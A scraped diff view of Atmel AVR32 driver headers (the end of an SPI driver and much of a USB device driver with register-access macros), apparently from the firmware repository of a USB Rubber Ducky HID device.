* \return Status.
|
||||
* \retval 1 All transmissions complete.
|
||||
* \retval 0 Transmissions not complete.
|
||||
*/
|
||||
static inline bool spi_is_tx_empty(volatile avr32_spi_t *spi)
|
||||
{
|
||||
return (spi->sr & AVR32_SPI_SR_TXEMPTY_MASK) != 0;
|
||||
}
|
||||
|
||||
/*! \brief Checks if all transmissions is ready.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*
|
||||
* \return Status.
|
||||
* \retval 1 All transmissions complete.
|
||||
* \retval 0 Transmissions not complete.
|
||||
*/
|
||||
static inline bool spi_is_tx_ready(volatile avr32_spi_t *spi)
|
||||
{
|
||||
return (spi->sr & AVR32_SPI_SR_TDRE_MASK) != 0;
|
||||
}
|
||||
|
||||
/*! \brief Check if the SPI contains a received character.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*
|
||||
* \return \c 1 if the SPI Receive Holding Register is full, otherwise \c 0.
|
||||
*/
|
||||
static inline bool spi_is_rx_full(volatile avr32_spi_t *spi)
|
||||
{
|
||||
return (spi->sr & AVR32_SPI_SR_RDRF_MASK) != 0;
|
||||
}
|
||||
|
||||
/*! \brief Checks if all reception is ready.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*
|
||||
* \return \c 1 if the SPI Receiver is ready, otherwise \c 0.
|
||||
*/
|
||||
static inline bool spi_is_rx_ready(volatile avr32_spi_t *spi)
|
||||
{
|
||||
return (spi->sr & (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) ==
|
||||
(AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK);
|
||||
}
|
||||
|
||||
/*! \brief Resets the SPI controller.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*/
|
||||
extern void spi_reset(volatile avr32_spi_t *spi);
|
||||
|
||||
/*! \brief Initializes the SPI in slave mode.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param bits Number of bits in each transmitted character (8 to 16).
|
||||
* \param spi_mode Clock polarity and phase.
|
||||
*
|
||||
* \return Status.
|
||||
* \retval SPI_OK Success.
|
||||
* \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed.
|
||||
*/
|
||||
extern spi_status_t spi_initSlave(volatile avr32_spi_t *spi,
|
||||
uint8_t bits,
|
||||
uint8_t spi_mode);
|
||||
|
||||
/*! \brief Sets up the SPI in a test mode where the transmitter is connected to
|
||||
* the receiver (local loopback).
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*
|
||||
* \return Status.
|
||||
* \retval SPI_OK Success.
|
||||
*/
|
||||
extern spi_status_t spi_initTest(volatile avr32_spi_t *spi);
|
||||
|
||||
/*! \brief Initializes the SPI in master mode.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param options Pointer to a structure containing initialization options.
|
||||
*
|
||||
* \return Status.
|
||||
* \retval SPI_OK Success.
|
||||
* \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed.
|
||||
*/
|
||||
extern spi_status_t spi_initMaster(volatile avr32_spi_t *spi, const spi_options_t *options);
|
||||
|
||||
/*! \brief Calculates the baudrate divider.
|
||||
*
|
||||
* \param baudrate Baudrate value.
|
||||
* \param pba_hz SPI module input clock frequency (PBA clock, Hz).
|
||||
*
|
||||
* \return Divider or error code.
|
||||
* \retval >=0 Success.
|
||||
* \retval <0 Error.
|
||||
*/
|
||||
extern int16_t getBaudDiv(const unsigned int baudrate, uint32_t pba_hz);
|
||||
|
||||
/*! \brief Sets up how and when the slave chips are selected (master mode only).
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param variable_ps Target slave is selected in transfer register for every
|
||||
* character to transmit.
|
||||
* \param pcs_decode The four chip select lines are decoded externally. Values
|
||||
* 0 to 14 can be given to \ref spi_selectChip.
|
||||
* \param delay Delay in PBA periods between chip selects.
|
||||
*
|
||||
* \return Status.
|
||||
* \retval SPI_OK Success.
|
||||
* \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed.
|
||||
*/
|
||||
extern spi_status_t spi_selectionMode(volatile avr32_spi_t *spi,
|
||||
uint8_t variable_ps,
|
||||
uint8_t pcs_decode,
|
||||
uint8_t delay);
|
||||
/*! \brief Selects slave chip.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param chip Slave chip number (normal: 0 to 3, extarnally decoded signal: 0
|
||||
* to 14).
|
||||
*
|
||||
* \return Status.
|
||||
* \retval SPI_OK Success.
|
||||
* \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed.
|
||||
*/
|
||||
extern spi_status_t spi_selectChip(volatile avr32_spi_t *spi, unsigned char chip);
|
||||
|
||||
/*! \brief Unselects slave chip.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param chip Slave chip number (normal: 0 to 3, extarnally decoded signal: 0
|
||||
* to 14).
|
||||
*
|
||||
* \return Status.
|
||||
* \retval SPI_OK Success.
|
||||
* \retval SPI_ERROR_TIMEOUT Time-out.
|
||||
*
|
||||
* \note Will block program execution until time-out occurs if last transmission
|
||||
* is not complete. Invoke \ref spi_writeEndCheck beforehand if needed.
|
||||
*/
|
||||
extern spi_status_t spi_unselectChip(volatile avr32_spi_t *spi, unsigned char chip);
|
||||
|
||||
/*! \brief Sets options for a specific slave chip.
|
||||
*
|
||||
* The baudrate field has to be written before transfer in master mode. Four
|
||||
* similar registers exist, one for each slave. When using encoded slave
|
||||
* addressing, reg=0 sets options for slaves 0 to 3, reg=1 for slaves 4 to 7 and
|
||||
* so on.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param options Pointer to a structure containing initialization options for
|
||||
* an SPI channel.
|
||||
* \param pba_hz SPI module input clock frequency (PBA clock, Hz).
|
||||
*
|
||||
* \return Status.
|
||||
* \retval SPI_OK Success.
|
||||
* \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed.
|
||||
*/
|
||||
extern spi_status_t spi_setupChipReg(volatile avr32_spi_t *spi,
|
||||
const spi_options_t *options,
|
||||
uint32_t pba_hz);
|
||||
/*! \brief Enables the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*/
|
||||
extern void spi_enable(volatile avr32_spi_t *spi);
|
||||
|
||||
/*! \brief Disables the SPI.
|
||||
*
|
||||
* Ensures that nothing is transferred while setting up buffers.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*
|
||||
* \warning This may cause data loss if used on a slave SPI.
|
||||
*/
|
||||
extern void spi_disable(volatile avr32_spi_t *spi);
|
||||
|
||||
/*! \brief Tests if the SPI is enabled.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*
|
||||
* \return \c 1 if the SPI is enabled, otherwise \c 0.
|
||||
*/
|
||||
extern int spi_is_enabled(volatile avr32_spi_t *spi);
|
||||
|
||||
/*! \brief Checks if there is no data in the transmit register.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*
|
||||
* \return Status.
|
||||
* \retval 1 No data in TDR.
|
||||
* \retval 0 Some data in TDR.
|
||||
*/
|
||||
extern unsigned char spi_writeRegisterEmptyCheck(volatile avr32_spi_t *spi);
|
||||
|
||||
/*! \brief Writes one data word in master fixed peripheral select mode or in
|
||||
* slave mode.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param data The data word to write.
|
||||
*
|
||||
* \return Status.
|
||||
* \retval SPI_OK Success.
|
||||
* \retval SPI_ERROR_TIMEOUT Time-out.
|
||||
*
|
||||
* \note Will block program execution until time-out occurs if transmitter is
|
||||
* busy and transmit buffer is full. Invoke
|
||||
* \ref spi_writeRegisterEmptyCheck beforehand if needed.
|
||||
*
|
||||
* \note Once the data has been written to the transmit buffer, the end of
|
||||
* transmission is not waited for. Invoke \ref spi_writeEndCheck if
|
||||
* needed.
|
||||
*/
|
||||
extern spi_status_t spi_write(volatile avr32_spi_t *spi, uint16_t data);
|
||||
|
||||
/*! \brief Selects a slave in master variable peripheral select mode and writes
|
||||
* one data word to it.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param data The data word to write.
|
||||
* \param pcs Slave selector (bit 0 -> nCS line 0, bit 1 -> nCS line 1,
|
||||
* etc.).
|
||||
* \param lastxfer Boolean indicating whether this is the last data word
|
||||
* transfer.
|
||||
*
|
||||
* \return Status.
|
||||
* \retval SPI_OK Success.
|
||||
* \retval SPI_ERROR_TIMEOUT Time-out.
|
||||
* \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed.
|
||||
*
|
||||
* \note Will block program execution until time-out occurs if transmitter is
|
||||
* busy and transmit buffer is full. Invoke
|
||||
* \ref spi_writeRegisterEmptyCheck beforehand if needed.
|
||||
*
|
||||
* \note Once the data has been written to the transmit buffer, the end of
|
||||
* transmission is not waited for. Invoke \ref spi_writeEndCheck if
|
||||
* needed.
|
||||
*/
|
||||
extern spi_status_t spi_variableSlaveWrite(volatile avr32_spi_t *spi,
|
||||
uint16_t data,
|
||||
uint8_t pcs,
|
||||
uint8_t lastxfer);
|
||||
|
||||
/*! \brief Checks if all transmissions are complete.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*
|
||||
* \return Status.
|
||||
* \retval 1 All transmissions complete.
|
||||
* \retval 0 Transmissions not complete.
|
||||
*/
|
||||
extern unsigned char spi_writeEndCheck(volatile avr32_spi_t *spi);
|
||||
|
||||
/*! \brief Checks if there is data in the receive register.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*
|
||||
* \return Status.
|
||||
* \retval 1 Some data in RDR.
|
||||
* \retval 0 No data in RDR.
|
||||
*/
|
||||
extern unsigned char spi_readRegisterFullCheck(volatile avr32_spi_t *spi);
|
||||
|
||||
/*! \brief Reads one data word in master mode or in slave mode.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param data Pointer to the location where to store the received data word.
|
||||
*
|
||||
* \return Status.
|
||||
* \retval SPI_OK Success.
|
||||
* \retval SPI_ERROR_TIMEOUT Time-out.
|
||||
*
|
||||
* \note Will block program execution until time-out occurs if no data is
|
||||
* received or last transmission is not complete. Invoke
|
||||
* \ref spi_writeEndCheck or \ref spi_readRegisterFullCheck beforehand if
|
||||
* needed.
|
||||
*/
|
||||
extern spi_status_t spi_read(volatile avr32_spi_t *spi, uint16_t *data);
|
||||
|
||||
/*! \brief Gets status information from the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*
|
||||
* \return Status.
|
||||
* \retval SPI_OK Success.
|
||||
* \retval SPI_ERROR_OVERRUN Overrun error.
|
||||
* \retval SPI_ERROR_MODE_FAULT Mode fault (SPI addressed as slave
|
||||
* while in master mode).
|
||||
* \retval SPI_ERROR_OVERRUN_AND_MODE_FAULT Overrun error and mode fault.
|
||||
*/
|
||||
extern unsigned char spi_getStatus(volatile avr32_spi_t *spi);
|
||||
|
||||
#endif // _SPI_H_
|
1499
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_device.c
Executable file
1499
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_device.c
Executable file
File diff suppressed because it is too large
Load diff
|
@ -0,0 +1,564 @@
|
|||
/**
|
||||
* \file
|
||||
*
|
||||
* \brief USBB Device Driver header file.
|
||||
*
|
||||
* Copyright (C) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* \page License
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an
|
||||
* Atmel AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
|
||||
* DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef _USBB_DEVICE_H_
|
||||
#define _USBB_DEVICE_H_
|
||||
|
||||
#include "compiler.h"
|
||||
#include "preprocessor.h"
|
||||
|
||||
|
||||
//! \ingroup usb_device_group
|
||||
//! \defgroup udd_group USB Device Driver (UDD)
|
||||
//! USBB low-level driver for USB device mode
|
||||
//!
|
||||
//! @warning Bit-masks are used instead of bit-fields because PB registers
|
||||
//! require 32-bit write accesses while AVR32-GCC 4.0.2 builds 8-bit
|
||||
//! accesses even when volatile unsigned int bit-fields are specified.
|
||||
//! @{
|
||||
|
||||
//! @name USBB Device IP properties
|
||||
//! These macros give access to IP properties
|
||||
//! @{
|
||||
//! Get maximal number of endpoints
|
||||
#define UDD_get_endpoint_max_nbr() (((Rd_bitfield(AVR32_USBB_ufeatures, AVR32_USBB_UFEATURES_EPT_NBR_MAX_MASK) - 1) & ((1 << AVR32_USBB_UFEATURES_EPT_NBR_MAX_SIZE) - 1)) + 1)
|
||||
//! @}
|
||||
|
||||
//! @name USBB Device speeds management
|
||||
//! @{
|
||||
//! Enable/disable device low-speed mode
|
||||
#define udd_low_speed_enable() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_LS_MASK))
|
||||
#define udd_low_speed_disable() (Clr_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_LS_MASK))
|
||||
//! Test if device low-speed mode is forced
|
||||
#define Is_udd_low_speed_enable() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_LS_MASK))
|
||||
|
||||
#ifdef AVR32_USBB_UDCON_SPDCONF
|
||||
//! Enable high speed mode
|
||||
# define udd_high_speed_enable() (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_SPDCONF_MASK, 0))
|
||||
//! Disable high speed mode
|
||||
# define udd_high_speed_disable() (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_SPDCONF_MASK, 3))
|
||||
//! Test if controller is in full speed mode
|
||||
# define Is_udd_full_speed_mode() (Rd_bitfield(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_SPEED_MASK) == AVR32_USBB_USBSTA_SPEED_FULL)
|
||||
#else
|
||||
# define udd_high_speed_enable() do { } while (0)
|
||||
# define udd_high_speed_disable() do { } while (0)
|
||||
# define Is_udd_full_speed_mode() TRUE
|
||||
#endif
|
||||
//! @}
|
||||
|
||||
//! @name USBB Device HS test mode management
|
||||
//! @{
|
||||
#ifdef AVR32_USBB_UDCON_SPDCONF
|
||||
//! Enable high speed test mode
|
||||
# define udd_enable_hs_test_mode() (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_SPDCONF_MASK, 2))
|
||||
# define udd_enable_hs_test_mode_j() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_TSTJ_MASK))
|
||||
# define udd_enable_hs_test_mode_k() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_TSTK_MASK))
|
||||
# define udd_enable_hs_test_mode_packet() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_TSTPCKT_MASK))
|
||||
#endif
|
||||
//! @}
|
||||
|
||||
//! @name USBB Device vbus management
|
||||
//! @{
|
||||
#define udd_enable_vbus_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_VBUSTE_MASK))
|
||||
#define udd_disable_vbus_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_VBUSTE_MASK))
|
||||
#define Is_udd_vbus_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_VBUSTE_MASK))
|
||||
#define Is_udd_vbus_high() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_VBUS_MASK))
|
||||
#define Is_udd_vbus_low() (!Is_udd_vbus_high())
|
||||
#define udd_ack_vbus_transition() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_VBUSTIC_MASK)
|
||||
#define udd_raise_vbus_transition() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_VBUSTIS_MASK)
|
||||
#define Is_udd_vbus_transition() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_VBUSTI_MASK))
|
||||
//! @}
|
||||
|
||||
|
||||
//! @name USBB device attach control
|
||||
//! These macros manage the USBB Device attach.
|
||||
//! @{
|
||||
//! detaches from USB bus
|
||||
#define udd_detach_device() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_DETACH_MASK))
|
||||
//! attaches to USB bus
|
||||
#define udd_attach_device() (Clr_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_DETACH_MASK))
|
||||
//! test if the device is detached
|
||||
#define Is_udd_detached() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_DETACH_MASK))
|
||||
//! @}
|
||||
|
||||
|
||||
//! @name USBB device bus events control
|
||||
//! These macros manage the USBB Device bus events.
|
||||
//! @{
|
||||
|
||||
//! Initiates a remote wake-up event
|
||||
//! @{
|
||||
#define udd_initiate_remote_wake_up() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_RMWKUP_MASK))
|
||||
#define Is_udd_pending_remote_wake_up() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_RMWKUP_MASK))
|
||||
//! @}
|
||||
|
||||
//! Manage upstream resume event (=remote wakeup)
|
||||
//! The USB driver sends a resume signal called "Upstream Resume"
|
||||
//! @{
|
||||
#define udd_enable_remote_wake_up_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_UPRSMES_MASK)
|
||||
#define udd_disable_remote_wake_up_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_UPRSMEC_MASK)
|
||||
#define Is_udd_remote_wake_up_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_UPRSME_MASK))
|
||||
#define udd_ack_remote_wake_up_start() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_UPRSMC_MASK)
|
||||
#define udd_raise_remote_wake_up_start() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_UPRSMS_MASK)
|
||||
#define Is_udd_remote_wake_up_start() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_UPRSM_MASK))
|
||||
//! @}
|
||||
|
||||
//! Manage end of resume event (=remote wakeup)
|
||||
//! The USB controller detects a valid "End of Resume" signal initiated by the host
|
||||
//! @{
|
||||
#define udd_enable_resume_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_EORSMES_MASK)
|
||||
#define udd_disable_resume_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_EORSMEC_MASK)
|
||||
#define Is_udd_resume_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_EORSME_MASK))
|
||||
#define udd_ack_resume() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_EORSMC_MASK)
|
||||
#define udd_raise_resume() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_EORSMS_MASK)
|
||||
#define Is_udd_resume() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_EORSM_MASK))
|
||||
//! @}
|
||||
|
||||
//! Manage wake-up event (=usb line activity)
|
||||
//! The USB controller is reactivated by a filtered non-idle signal from the lines
|
||||
//! @{
|
||||
#define udd_enable_wake_up_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_WAKEUPES_MASK)
|
||||
#define udd_disable_wake_up_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_WAKEUPEC_MASK)
|
||||
#define Is_udd_wake_up_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_WAKEUPE_MASK))
|
||||
#define udd_ack_wake_up() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_WAKEUPC_MASK)
|
||||
#define udd_raise_wake_up() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_WAKEUPS_MASK)
|
||||
#define Is_udd_wake_up() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_WAKEUP_MASK))
|
||||
//! @}
|
||||
|
||||
//! Manage reset event
|
||||
//! Set when a USB "End of Reset" has been detected
|
||||
//! @{
|
||||
#define udd_enable_reset_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_EORSTES_MASK)
|
||||
#define udd_disable_reset_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_EORSTEC_MASK)
|
||||
#define Is_udd_reset_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_EORSTE_MASK))
|
||||
#define udd_ack_reset() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_EORSTC_MASK)
|
||||
#define udd_raise_reset() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_EORSTS_MASK)
|
||||
#define Is_udd_reset() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_EORST_MASK))
|
||||
//! @}
|
||||
|
||||
//! Manage sart of frame event
|
||||
//! @{
|
||||
#define udd_enable_sof_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_SOFES_MASK)
|
||||
#define udd_disable_sof_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_SOFEC_MASK)
|
||||
#define Is_udd_sof_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_SOFE_MASK))
|
||||
#define udd_ack_sof() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_SOFC_MASK)
|
||||
#define udd_raise_sof() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_SOFS_MASK)
|
||||
#define Is_udd_sof() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_SOF_MASK))
|
||||
#define udd_frame_number() (Rd_bitfield(AVR32_USBB.udfnum, AVR32_USBB_UDFNUM_FNUM_MASK))
|
||||
#define Is_udd_frame_number_crc_error() (Tst_bits(AVR32_USBB.udfnum, AVR32_USBB_UDFNUM_FNCERR_MASK))
|
||||
//! @}
|
||||
|
||||
//! Manage suspend event
|
||||
//! @{
|
||||
#define udd_enable_suspend_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_SUSPES_MASK)
|
||||
#define udd_disable_suspend_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_SUSPEC_MASK)
|
||||
#define Is_udd_suspend_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_SUSPE_MASK))
|
||||
#define udd_ack_suspend() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_SUSPC_MASK)
|
||||
#define udd_raise_suspend() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_SUSPS_MASK)
|
||||
#define Is_udd_suspend() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_SUSP_MASK))
|
||||
//! @}
|
||||
|
||||
//! @}
|
||||
|
||||
//! @name USBB device address control
|
||||
//! These macros manage the USBB Device address.
|
||||
//! @{
|
||||
//! enables USB device address
|
||||
#define udd_enable_address() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_ADDEN_MASK))
|
||||
//! disables USB device address
|
||||
#define udd_disable_address() (Clr_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_ADDEN_MASK))
|
||||
#define Is_udd_address_enabled() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_ADDEN_MASK))
|
||||
//! configures the USB device address
|
||||
#define udd_configure_address(addr) (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_UADD_MASK, addr))
|
||||
//! gets the currently configured USB device address
|
||||
#define udd_get_configured_address() (Rd_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_UADD_MASK))
|
||||
//! @}
|
||||
|
||||
|
||||
//! @name USBB Device endpoint drivers
|
||||
//! These macros manage the common features of the endpoints.
|
||||
//! @{
|
||||
|
||||
//! Generic macro for USBB registers that can be arrayed
|
||||
//! @{
|
||||
#define USBB_ARRAY(reg,index) ((&AVR32_USBB.reg)[(index)])
|
||||
//! @}
|
||||
|
||||
//! @name USBB Device endpoint configguration
|
||||
//! @{
|
||||
//! enables the selected endpoint
|
||||
#define udd_enable_endpoint(ep) (Set_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep)))
|
||||
//! disables the selected endpoint
|
||||
#define udd_disable_endpoint(ep) (Clr_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep)))
|
||||
//! tests if the selected endpoint is enabled
|
||||
#define Is_udd_endpoint_enabled(ep) (Tst_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep)))
|
||||
//! resets the selected endpoint
|
||||
#define udd_reset_endpoint(ep) (Set_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep)),\
|
||||
Clr_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep)))
|
||||
//! tests if the selected endpoint is being reset
|
||||
#define Is_udd_resetting_endpoint(ep) (Tst_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep)))
|
||||
|
||||
//! configures the selected endpoint type
|
||||
#define udd_configure_endpoint_type(ep, type) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPTYPE_MASK, type))
|
||||
//! gets the configured selected endpoint type
|
||||
#define udd_get_endpoint_type(ep) (Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPTYPE_MASK))
|
||||
//! enables the bank autoswitch for the selected endpoint
|
||||
#define udd_enable_endpoint_bank_autoswitch(ep) (Set_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_AUTOSW_MASK))
|
||||
//! disables the bank autoswitch for the selected endpoint
|
||||
#define udd_disable_endpoint_bank_autoswitch(ep) (Clr_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_AUTOSW_MASK))
|
||||
#define Is_udd_endpoint_bank_autoswitch_enabled(ep) (Tst_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_AUTOSW_MASK))
|
||||
//! configures the selected endpoint direction
|
||||
#define udd_configure_endpoint_direction(ep, dir) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPDIR_MASK, dir))
|
||||
//! gets the configured selected endpoint direction
|
||||
#define udd_get_endpoint_direction(ep) (Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPDIR_MASK))
|
||||
#define Is_udd_endpoint_in(ep) (Tst_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPDIR_MASK))
|
||||
//! Bounds given integer size to allowed range and rounds it up to the nearest
|
||||
//! available greater size, then applies register format of USBB controller
|
||||
//! for endpoint size bit-field.
|
||||
#define udd_format_endpoint_size(size) (32 - clz(((U32)min(max(size, 8), 1024) << 1) - 1) - 1 - 3)
|
||||
//! configures the selected endpoint size
|
||||
#define udd_configure_endpoint_size(ep, size) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPSIZE_MASK, udd_format_endpoint_size(size)))
|
||||
//! gets the configured selected endpoint size
|
||||
#define udd_get_endpoint_size(ep) (8 << Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPSIZE_MASK))
|
||||
//! configures the selected endpoint number of banks
|
||||
#define udd_configure_endpoint_bank(ep, bank) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPBK_MASK, bank))
|
||||
//! gets the configured selected endpoint number of banks
|
||||
#define udd_get_endpoint_bank(ep) (Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPBK_MASK))
|
||||
//! allocates the configuration selected endpoint in DPRAM memory
|
||||
#define udd_allocate_memory(ep) (Set_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_ALLOC_MASK))
|
||||
//! un-allocates the configuration selected endpoint in DPRAM memory
|
||||
#define udd_unallocate_memory(ep) (Clr_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_ALLOC_MASK))
|
||||
